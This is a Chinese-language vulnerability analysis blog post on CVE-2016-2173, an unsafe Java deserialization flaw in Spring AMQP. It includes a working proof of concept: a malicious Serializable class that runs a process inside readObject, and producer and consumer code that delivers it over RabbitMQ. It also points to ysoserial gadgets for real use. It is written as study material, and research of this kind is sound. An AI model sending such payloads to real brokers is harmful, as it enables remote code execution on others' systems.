这个没有人分析?这篇文章写出来权当自己的学习过程了。近期一直在整理java相关的漏洞,多半是反序列化相关的知识,以后有机会慢慢发。https://pivotal.io/cn/security/cve-2016-2173
介绍
官方描述如下:
The class org.springframework.core.serializer.DefaultDeserializer does not validate the deserialized object against a whitelist. By supplying a crafted serialized object like Chris Frohoff’s Commons Collection gadget, remote code execution can be achieved.
看描述可以知道是org.springframework.core.serializer.DefaultDeserializer没有进行白名单验证导致的java反序列化,可以用Commons Collection gadget来执行远程代码。
分析
老实说,之前只知道AMQP是消息队列,但是没有怎么去深入学习了解过。正好借助这次机会学习一下,老规矩先看看Spring AMQP怎么用的,参考。不喜欢在电脑上装一些乱七八糟的东西,首先先docker安装rabbitmq。
service docker start
docker pull docker.io/tutum/rabbitmq
docker run -d -p 5672:5672 -p 15672:15672 -e RABBITMQ_PASS="admin" tutum/rabbitmq
我将密码设置为admin, admin,测试登录正常可以进行以一步,一般来说很多demo都会拿生产者和消费者来讲spring + rabbitmq结合。我比较懒,直接下载官方的案例https://github.com/spring-projects/spring-amqp-samples/tree/master/helloworld
注意要修改HelloWorldConfiguration 中的ip和账号密码,测试调通之后就可以干活了。官方补丁中提示的是org/springframework/amqp/support/converter/SerializerMessageConverter.java 函数
/**
* Converts from a AMQP Message to an Object.
*/
@Override
public Object fromMessage(Message message) throws MessageConversionException {
Object content = null;
MessageProperties properties = message.getMessageProperties();
if (properties != null) {
String contentType = properties.getContentType();
if (contentType != null && contentType.startsWith("text") && !ignoreContentType) {
String encoding = properties.getContentEncoding();
if (encoding == null) {
encoding = this.defaultCharset;
}
try {
content = new String(message.getBody(), encoding);
} catch (UnsupportedEncodingException e) {
throw new MessageConversionException("failed to convert text-based Message content", e);
}
} else if (contentType != null && contentType.equals(MessageProperties.CONTENT_TYPE_SERIALIZED_OBJECT)
|| ignoreContentType) {
try {
content = deserializer.deserialize(new ByteArrayInputStream(message.getBody()));
} catch (IOException e) {
throw new MessageConversionException("Could not convert message body", e);
}
}
}
if (content == null) {
content = message.getBody();
}
return content;
}
其中deserializer.deserialize是将message反序列化的过程,至于deserialize函数的内容如下:
/**
* Read from the supplied {@code InputStream} and deserialize the contents
* into an object.
* @see ObjectInputStream#readObject()
*/
@Override
@SuppressWarnings("resource")
public Object deserialize(InputStream inputStream) throws IOException {
ObjectInputStream objectInputStream = new ConfigurableObjectInputStream(inputStream, this.classLoader);
try {
return objectInputStream.readObject();
}
catch (ClassNotFoundException ex) {
throw new NestedIOException("Failed to deserialize object type", ex);
}
}
熟悉的readObject,只要想办法控制objectInputStream,那么就可以执行任意代码了,先查看调用链: 找到rabbitTemplate.convertSendAndReceive和rabbitTemplate.receiveAndConvert 先写一个实体类:
package test;
import java.io.*;
/**
* Created by bsmali4 on 18/1/29.
*/
public class Evil implements Serializable {
private void readObject(ObjectInputStream objectInputStream) throws IOException, ClassNotFoundException {
objectInputStream.defaultReadObject();
new ProcessBuilder("open", "/Applications/Calculator.app/").start();
}
}
调试到如下位置: 触发位置就在fromMessage,那么在convertAndSend的时候不能是简单的任意对象了,必须是Message类或者其子类了。其中fromMessage代码如下:
@Override
public Object fromMessage(Message message) throws MessageConversionException {
Object content = null;
MessageProperties properties = message.getMessageProperties();
if (properties != null) {
String contentType = properties.getContentType();
if (contentType != null && contentType.startsWith("text")) {
String encoding = properties.getContentEncoding();
if (encoding == null) {
encoding = this.defaultCharset;
}
try {
content = new String(message.getBody(), encoding);
}
catch (UnsupportedEncodingException e) {
throw new MessageConversionException(
"failed to convert text-based Message content", e);
}
}
else if (contentType != null &&
contentType.equals(MessageProperties.CONTENT_TYPE_SERIALIZED_OBJECT)) {
try {
content = SerializationUtils.deserialize(createObjectInputStream(new ByteArrayInputStream(message.getBody()), this.codebaseUrl));
} catch (IOException e) {
throw new MessageConversionException(
"failed to convert serialized Message content", e);
} catch (IllegalArgumentException e) {
throw new MessageConversionException(
"failed to convert serialized Message content", e);
}
}
}
if (content == null) {
content = message.getBody();
}
return content;
}
要想执行到代码中加粗的部分,必须满足两个条件 contentType为MessageProperties.CONTENT_TYPE_SERIALIZED_OBJECT),即application/x-java-serialized-object 通过Message.setMessageProperties可以达到这一点。所以整个poc如下: 生产者
package test;
import javassist.*;
import org.springframework.amqp.core.AmqpTemplate;
import org.springframework.amqp.core.Message;
import org.springframework.amqp.core.MessageProperties;
import org.springframework.context.ApplicationContext;
import org.springframework.context.annotation.AnnotationConfigApplicationContext;
import java.io.*;
public class Producer {
public static void main(String[] args) {
ApplicationContext context = new AnnotationConfigApplicationContext(HelloWorldConfiguration.class);
AmqpTemplate amqpTemplate = context.getBean(AmqpTemplate.class);
try {
//amqpTemplate.convertSendAndReceive("exchange", "routingkey", getMessage());
amqpTemplate.convertAndSend(getMessage());
} catch (IOException e) {
e.printStackTrace();
}
//amqpTemplate.convertAndSend("Hello World");
System.out.println("Sent: Hello World");
}
public static Message getMessage() throws IOException {
MessageProperties messageProperties = new MessageProperties();
messageProperties.setContentType("application/x-java-serialized-object");
Message message = new Message(getbBody(), messageProperties);
return message;
}
public static byte[] getbBody() throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
Evil evil = new Evil();
oos.writeObject(evil);
byte[] str = baos.toByteArray();
return str;
}
}
消费者
package test;
import org.springframework.amqp.core.AmqpTemplate;
import org.springframework.context.ApplicationContext;
import org.springframework.context.annotation.AnnotationConfigApplicationContext;
public class Consumer {
public static void main(String[] args) {
ApplicationContext context = new AnnotationConfigApplicationContext(HelloWorldConfiguration.class);
AmqpTemplate amqpTemplate = context.getBean(AmqpTemplate.class);
System.out.println("Received: " + amqpTemplate.receiveAndConvert());
}
}
当然Evil不是默认存在的class,要想真正的执行,可以参考ysoserial里面的Gadgets,这系列文章之前写了很多,大家可以自己去调试一下。 最后补一张利用成功的图
参考链接
https://github.com/spring-projects/spring-amqp-samples https://jira.spring.io/browse/AMQP-590 https://github.com/spring-projects/spring-amqp/commit/4150f107e60cac4a7735fcf7cb4c1889a0cbab6c https://pivotal.io/cn/security/cve-2016-2173 http://blog.csdn.net/fengyufuchen/article/details/51830425 http://blog.csdn.net/cubesky/article/details/38753861 http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=4968673 https://spring.io/guides/gs/messaging-rabbitmq/